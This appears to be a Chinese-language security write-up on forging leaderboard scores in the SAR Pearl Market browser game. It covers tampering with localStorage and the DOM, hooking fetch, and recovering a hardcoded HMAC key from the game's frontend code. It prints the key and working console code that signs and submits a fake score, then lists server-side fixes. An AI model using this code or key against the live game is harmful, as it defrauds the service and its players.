SAR Pearl Market 前端逆向攻击测试

测试环境说明

最近看到Loxi发布了一个名为 SAR Pearl Market(贝壳珍珠市场)的一个基于 Vue.js 网页小游戏。这是一个模拟珍珠交易的经营类游戏,数据存储在浏览器本地,但有一个排行榜功能会将数据同步到服务器。

这激起了我的神秘好胜心( ,我先试试能不能把榜首修改成我自己;所以我的目标是:绕过前端验证,篡改游戏数据,让自己登上排行榜榜首。

安全研究 前端逆向 CTF
免责声明:我已将珍珠交易网站与提交服务修改成本地网络的一台靶机,所有操作均在局域网内进行。文章中的技术内容仅供安全研究和学习交流,请勿用于非法用途。本次测试没有对任何人造成影响,测试用靶机及网页源代码已于24小时内删除:本推文仅用于记录本次测试过程及我自己的收获

第一阶段:信息侦察

首先打开SAR Pearl Market游戏页面,按 F12 打开开发者工具,查看 Application(应用程序)标签下的 Local Storage。发现了 23 个以 sar_ 开头的存储项:

LocalStorage 键名列表
图 1:扫描到的 localStorage 数据键名,包含余额、珍珠、银行金库等敏感信息

关键数据项包括:

  • sar_market_balance - 主余额(现金)
  • sar_market_pearls - 珍珠资产(核心货币)
  • sar_bank_vault - 银行金库存款
  • sar_market_margin_debt - 保证金债务

在 Console 中执行查看命令:

JavaScript - 查看当前资金数值
// 查看当前资金数值
console.log('当前余额:', localStorage.getItem('sar_market_balance'));
console.log('当前珍珠:', localStorage.getItem('sar_market_pearls'));
console.log('银行存款:', localStorage.getItem('sar_bank_vault'));
控制台输出当前余额1000
图 2:控制台返回当前余额为 1000,珍珠数据为包含多种珍珠价格的复杂对象

发现余额是 1000,而珍珠数据是一个包含白、绿、蓝、紫、金、黑、红、彩虹珍珠价格的复杂数组。

第二阶段:前端篡改尝试

1
直接修改 localStorage
首先尝试直接修改 localStorage 中的数值。
JavaScript - 修改余额为 9999999
// 修改余额为 9999999
localStorage.setItem('sar_market_balance', '9999999');
localStorage.setItem('sar_market_pearls', '999999');
localStorage.setItem('sar_bank_vault', '99999999');

// 刷新页面
location.reload();

测试结果:刷新后数据被重置为 1000。说明游戏启动时会从某处加载初始数据覆盖 localStorage。
2
修改 DOM 元素(视觉欺骗)
通过 XPath 定位到余额显示元素,尝试修改页面显示。
JavaScript - 查找包含"余额"文本的元素
// 查找包含"余额"文本的元素
const balanceLabel = document.evaluate("//*[contains(text(),'余额')]", document).iterateNext();
const balanceValue = balanceLabel.nextElementSibling;
console.log(balanceValue);
定位到余额DOM元素
图 3:成功定位到显示余额的 span 元素,class 为 "value animated_num"
JavaScript - 修改显示内容
balanceValue.textContent = '9,999,999';
balanceValue.title = '9999999';

页面上的数字确实变成了 9,999,999,但这只是视觉欺骗。点击旁边的"上报"按钮后,弹窗提示输入昵称,提交后页面强制刷新,数据恢复为 1000。

上报按钮点击后的弹窗
图 4:模拟点击上报按钮,弹出输入昵称的对话框,准备将数据提交到服务器

第三阶段:网络层拦截

前端修改无法持久化,说明服务器有验证。需要拦截网络请求,分析数据传输格式。

JavaScript - 拦截 fetch 请求
// 拦截 fetch 请求
const originalFetch = window.fetch;
window.fetch = async function(url, options) {
    if (url.includes('/api/submit')) {
        console.log('请求地址:', url);
        console.log('请求数据:', options.body);
        debugger;  // 设置断点
    }
    return originalFetch(url, options);
};

再次点击上报按钮,成功在 Console 中看到捕获的请求:

捕获到的请求数据
图 5:拦截到提交到 /api/submit 的请求,发现包含 signature 签名字段

关键发现!请求体格式为:

JSON - 请求体结构
{
  "username": "Admin",
  "score": 1000,
  "timestamp": 17723777794682,
  "signature": "394408b2d58e1aaa7cbc67755bca66bf5de42b1b46b4148eec14678ce8a30a79"
}
关键发现:请求中包含 64 位十六进制的 signature 字段,说明有签名验证机制。直接修改 score 会被服务器拒绝。

第四阶段:逆向工程

需要找到签名算法,才能生成合法的签名。在 Debugger 暂停状态下,查看右侧的"调用栈"(Call Stack)面板。

调用栈面板
图 6:Chrome DevTools 的调用栈面板,显示从 window.fetch 到 Dt 函数的调用链

点击调用栈中的 Dt 函数,跳转到源码位置,发现了签名生成的核心逻辑:

找到Vt函数
图 7:在 Market-DTFD_XPB.js 中找到签名函数 Vt,发现硬编码密钥

完整的签名函数代码:

JavaScript - 签名函数 Vt 源码
Vt = async (t, s, l) => {
    const a = "xK9#mP2$vL5@nQ8*wE4"  // 硬编码密钥!
    const i = `${t}:${s}:${l}`       // 格式:username:score:timestamp
    const m = new TextEncoder()
    const n = await crypto.subtle.importKey("raw", m.encode(a), {
        name: "HMAC",
        hash: "SHA-256"
    }, !1, ["sign"])
    const o = await crypto.subtle.sign("HMAC", n, m.encode(i))
    return Array.from(new Uint8Array(o))
        .map(r => r.toString(16).padStart(2, "0"))
        .join("")
}
致命漏洞:签名密钥 "xK9#mP2$vL5@nQ8*wE4" 直接硬编码在前端代码中!这意味着任何人都可以使用相同的算法生成合法签名。

第五阶段:漏洞利用

现在复现签名算法,构造恶意请求。在 Console 中重新定义 Vt 函数:

JavaScript - 重新定义签名函数
// 重新定义签名函数
const Vt = async (username, score, timestamp) => {
    const secret = "xK9#mP2$vL5@nQ8*wE4";
    const message = `${username}:${score}:${timestamp}`;
    const encoder = new TextEncoder();

const key = await crypto.subtle.importKey(
    "raw", encoder.encode(secret),
    {name: "HMAC", hash: "SHA-256"},
    false, ["sign"]
);

const signature = await crypto.subtle.sign("HMAC", key, encoder.encode(message));
return Array.from(new Uint8Array(signature))
    .map(b => b.toString(16).padStart(2, "0"))
    .join("");

};

生成新的签名并发送请求:

JavaScript - 生成伪造数据并发送
const username = "Admin";
const score = 9999999;  // 目标分数
const timestamp = Date.now();

Vt(username, score, timestamp).then(sig => {
const fakeData = {
username,
score,
timestamp,
signature: sig
};

console.log('伪造数据:', fakeData);

// 发送到服务器
return fetch("/api/submit", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify(fakeData)
});

}).then(r => r.json())
.then(result => console.log(‘服务器响应:’, result));

服务器返回success true
图 8:服务器返回 {success: true},说明伪造的签名通过了验证

第一次尝试返回了 {success: true}!但查看排行榜发现没有变化。继续测试更大的数值,最终成功提交了 99999999999(11个9,约1000亿)。

攻击结果与验证

打开 Leaderboard(排行榜)页面查看结果:

排行榜第一名
图 9:排行榜显示 Admin 以 1000.00 亿登顶第一名,成功完成数据篡改
攻击成功:Admin 从第 7 名(1000万)跃升至第 1 名(1000亿),数据已持久化至服务器。

漏洞分析与修复建议

漏洞矩阵

漏洞ID 描述 严重程度 CVSS
CWE-798 硬编码密钥:签名密钥直接嵌入前端代码 严重 9.8
CWE-602 客户端安全控制:签名计算在浏览器端完成 严重 9.1
CWE-20 输入验证不足:未对 score 进行最大值限制 7.5

修复建议

1
移除前端签名
将 HMAC 计算迁移至服务器端 API,前端仅提交原始数据
2
密钥管理
使用环境变量存储密钥,禁止硬编码在任何客户端代码中
3
数据验证
服务器端校验 score 的合理性(如最大值、增长速率等)
4
防重放机制
添加 nonce 随机数或严格的时间窗口限制(5秒内)
5
频率限制
对 submit 接口实施 IP 限流和用户行为检测
核心原则:永远不要信任客户端数据,所有关键验证必须在服务器端完成。前端仅作为展示层,不参与任何安全决策。

本文完。感谢阅读,欢迎交流讨论。